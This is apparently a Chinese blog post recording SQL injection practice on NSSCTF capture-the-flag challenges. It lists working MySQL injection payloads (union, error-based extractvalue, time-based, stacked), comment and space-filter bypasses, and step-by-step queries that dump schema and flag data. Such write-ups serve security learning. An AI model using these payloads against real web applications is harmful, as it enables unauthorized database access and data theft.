sql注入刷题记录(持续更新)

mysql系统数据库

在这里插入图片描述

注释

单行注释#-- (三个字符,后面有个空格)。
在url中,如果是get请求,url中的#是用来指导浏览器作用的,对服务端无用。所以HTTP请求中不包括#,因此get请求中用#会报错,%23#的编码,可用。而-- 在get中会被忽略空格,所以一般用--+,因为+会被解释成空格。
所以,总结来说。
在get中可用--+%23--%20进行注释。
在post中可用#%23--+--%20进行注释。
可以先试试最基本的注入

1' or '1'='1'#	 #or语句
1' order by 3#	#order语句
1'' union select 1,2,3#	#联合查询
1''and(select extractvalue(1,concat('~',(select database()))))	#报错注入
1' and if(length(database())>1,sleep(5),1)--+	#时间注入
1;show databases#      #堆叠注入

md5绕过

数组的MD5码为NULL
?password=ffifdyop

在这里插入图片描述

||

题目:https://www.nssctf.cn/problem/19在这里插入图片描述

在这里插入图片描述

1;set sql_mode=PIPES_AS_CONCAT;select 1

拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag

报错注入

[SWPUCTF 2021 新生赛]error

https://www.nssctf.cn/problem/428

1' and (select extractvalue(1,concat('~',database())))#
#得到数据库名test_db

1' and (select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
#得到所有数据库名称information_schema,mysql,perfor

1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='mysql'))))#
#得到mysql中所有表名column_stats,columns_priv,db,ev

1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='information_schema'))))#
#得到information_schema中的所有表名ALL_PLUGINS,APPLICABLE_ROLES,CH

1' and (select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
#得到test_db中的所有表名test_tb,users

1' and (select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='test_tb'))))#
#得到id,flag

1' and (select extractvalue(1,concat('~',(select group_concat(id,flag) from test_db.test_tb))))#
# NSSCTF{c6b5733d-b12a-4fc4-8be2    不完整

1' and (select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31 )))))#
#NSSCTF{c6b5733d-b12a-4fc4-8be2-

1' and (select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31, 60 )))))#
#-58b9ad13fc7b}

最终得到flag

过滤

[SWPUCTF 2021 新生赛]sql

https://www.nssctf.cn/problem/442

发现有过滤 空格=>/**/ 
		  等号=>like
?wllm=1'order/**/by/**/3%23 #正常,长度为三
?wllm=1'union/**/select/**/1,2,database()%23
#得到数据库名test_db

在这里插入图片描述

?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
#得到列名

在这里插入图片描述

?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'LTLT_flag'%23

在这里插入图片描述

?wllm=-1'union/**/select/**/1,2,group_concat(id,flag)/**/from/**/test_db.LTLT_flag%23

在这里插入图片描述使用截断函数进行绕过,substr,right,REVERSE 被过滤(测试出来的),只能用mid

?wllm=-1'union/**/select/**/1,2,mid(group_concat(flag),1,20)/**/from/**/test_db.LTLT_flag%23
#分三段截取查询

NSSCTF{7396eea2-3d56-4596-9097-215e32e31842}

  • 10
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值